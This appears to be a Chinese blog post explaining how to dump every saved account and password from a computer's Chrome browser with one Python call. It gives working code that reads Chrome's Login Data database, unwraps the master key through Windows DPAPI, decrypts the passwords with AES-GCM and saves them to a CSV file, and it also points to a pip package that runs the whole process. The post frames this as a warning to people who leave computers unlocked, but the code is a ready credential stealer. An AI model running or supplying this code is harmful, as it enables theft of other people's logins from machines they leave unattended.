Python 一键获取电脑浏览器的账号密码


Posted in Python onMay 11, 2022

导语

发现很多人在学校图书馆喜欢用电脑占座(以古度今,我好像好多年没去过学校图书馆了),而且出去的时候经常不锁屏,为了让大家养成良好的习惯,我来带大家写个小程序吧,无需输入任何密码就可以快速获取你存储在电脑浏览器中的所有账号和密码,算是通过实践出真知来给大家提个醒了~

废话不多说,让我们愉快地开始吧~

相关文件

Github地址

开发工具

Python版本:3.7.8

相关模块:

pikachupytools模块;

pycryptodome模块;

以及一些python自带的模块。

环境搭建

安装Python并添加到环境变量,pip安装需要的相关模块即可。

原理简介

众所周知,我们的浏览器里一般存储了很多我们访问过的网站的账号和密码:

Python 一键获取电脑浏览器的账号密码

一般情况下,查看这些密码是需要输入电脑的开机密码的。但是事实上,我们也可以通过其他方式直接查看这些账号密码。例如谷歌浏览器里保存账号密码的数据库文件默认路径为:

os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'

我们可以通过读取该文件获得对应的账号密码:

'''读取数据库数据'''
def readdb(self, dbpath, master_key):
    sql = 'SELECT origin_url, username_value, password_value, date_created, date_last_used FROM logins;'
    client = sqlite3.connect(dbpath)
    cursor = client.cursor()
    with open(self.savename, 'a', newline='', encoding='utf-8-sig') as csv_file:
        cursor.execute(sql)
        csv_writer = csv.writer(csv_file, dialect=('excel'))
        if not self.write_heads_flag:
            csv_writer.writerow(self.csv_heads)
            self.write_heads_flag = True
        info = []
        for row in cursor.fetchall():
            for idx in range(len(self.csv_heads)):
                if isinstance(row[idx], bytes):
                    info.append(self.decrypt(row[idx], master_key))
                else:
                    info.append(row[idx])
            csv_writer.writerow(info)
            info = []
    cursor.close()
    client.close()

其中密码是加密之后的结果,打印出来大概是这样子的:

Python 一键获取电脑浏览器的账号密码

但是解密其实也很简单,通过网上的资料可以知道,我们只需要获得key值:

'''获得master key'''
def getmasterkey(self, local_state_path):
    import win32crypt
    with open(os.environ['USERPROFILE'] + os.sep + local_state_path, 'r', encoding='utf-8') as fp:
        local_state = fp.read()
        local_state = json.loads(local_state)
    master_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
    master_key = master_key[5:]
    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    return master_key

然后根据key值进行解码就行了:

'''解码'''
def decrypt(self, value, master_key):
    print(value)
    if value[:3] == b'v10':
        from Crypto.Cipher import AES
        iv, payload = value[3:15], value[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_value = cipher.decrypt(payload)
        decrypted_value = decrypted_value[:-16].decode()
    else:
        import win32crypt
        decrypted_value = win32crypt.CryptUnprotectData(value)[1].decode()
    return decrypted_value

解码之后的运行效果结果如下:

Python 一键获取电脑浏览器的账号密码

获得的结果默认保存在results.csv中,截图如下:

Python 一键获取电脑浏览器的账号密码

ok,大功告成啦,完整源代码详见相关文件。

想要快速测试的小伙伴只需要pip安装一下pikachupytools包:

pip install pikachupytools --upgrade

然后简单写几行代码就能调用运行了:

from pytools import pytools

tool_client = pytools.pytools()
tool_client.execute('decryptbrowser')

到此这篇关于基于Python实现一键获取电脑浏览器的账号密码的文章就介绍到这了!

Python 相关文章推荐
python实现批量修改文件名代码
Sep 10 Python
Python如何快速上手? 快速掌握一门新语言的方法
Nov 14 Python
django ajax json的实例代码
May 29 Python
利用django-suit模板添加自定义的菜单、页面及设置访问权限
Jul 13 Python
Python Pillow Image Invert
Jan 22 Python
对IPython交互模式下的退出方法详解
Feb 16 Python
pygame实现俄罗斯方块游戏(对战篇1)
Oct 29 Python
基于python实现计算两组数据P值
Jul 10 Python
Python实现中英文全文搜索的示例
Dec 04 Python
Python字符串的15个基本操作(小结)
Feb 03 Python
TensorFlow的自动求导原理分析
May 26 Python
Python帮你解决手机qq微信内存占用太多问题
Feb 15 Python
图神经网络GNN算法
May 11 #Python
python神经网络ResNet50模型
May 06 #Python
python和anaconda的区别
May 06 #Python
python神经网络Xception模型
May 06 #Python
Python使用永中文档转换服务
May 06 #Python
Python tensorflow卷积神经Inception V3网络结构
May 06 #Python
Python实现Matplotlib,Seaborn动态数据图
May 06 #Python
You might like
php中try catch捕获异常实例详解
2014/11/21 PHP
thinkphp 框架数据库切换实现方法分析
2020/05/18 PHP
Javascript之文件操作
2007/03/07 Javascript
extjs4 treepanel动态改变行高度示例
2013/12/17 Javascript
Javascript玩转继承(一)
2014/05/08 Javascript
利用jquery给指定的table动态添加一行、删除一行的方法
2016/10/12 Javascript
Jquery Easyui日历组件Calender使用详解(23)
2016/12/18 Javascript
Boostrap栅格系统与自己额外定义的媒体查询的冲突问题
2017/02/19 Javascript
扩展bootstrap的modal模态框-动态添加modal框-弹出多个modal框
2017/02/21 Javascript
vue解决跨域路由冲突问题思路解析
2017/11/03 Javascript
vue element table 表格请求后台排序的方法
2018/09/28 Javascript
layui 根据后台数据动态创建下拉框并同时默认选中的实例
2019/09/02 Javascript
React Native 混合开发多入口加载方式详解
2019/09/23 Javascript
JavaScript RegExp 对象用法详解
2019/09/24 Javascript
[10:14]2018DOTA2国际邀请赛寻真——paiN Gaming不仅为自己而战
2018/08/14 DOTA
python使用paramiko实现远程拷贝文件的方法
2016/04/18 Python
python中import学习备忘笔记
2017/01/24 Python
python实现图片识别汽车功能
2018/11/30 Python
Python 实现输入任意多个数,并计算其平均值的例子
2019/07/16 Python
python打印9宫格、25宫格等奇数格 满足横竖斜相加和相等
2019/07/19 Python
Python实现剪刀石头布小游戏(与电脑对战)
2019/12/31 Python
Python通过kerberos安全认证操作kafka方式
2020/06/06 Python
python使用numpy中的size()函数实例用法详解
2021/01/29 Python
土耳其时尚购物网站:Morhipo
2017/09/04 全球购物
.NET是怎么支持多种语言的
2015/02/24 面试题
函授自我鉴定
2013/11/06 职场文书
市场营销求职信范文
2014/02/21 职场文书
授权委托书样本
2014/04/03 职场文书
HR求职自荐信范文
2014/06/21 职场文书
市场营销专业毕业生求职信
2014/07/21 职场文书
中学生检讨书范文
2014/11/03 职场文书
2014年小学数学教师工作总结
2014/12/03 职场文书
思想品德评语大全
2014/12/31 职场文书
村主任当选感言
2015/08/01 职场文书
教你如何使用Python开发一个钉钉群应答机器人
2021/06/21 Python
uni-app 微信小程序授权登录的实现步骤
2022/02/18 Javascript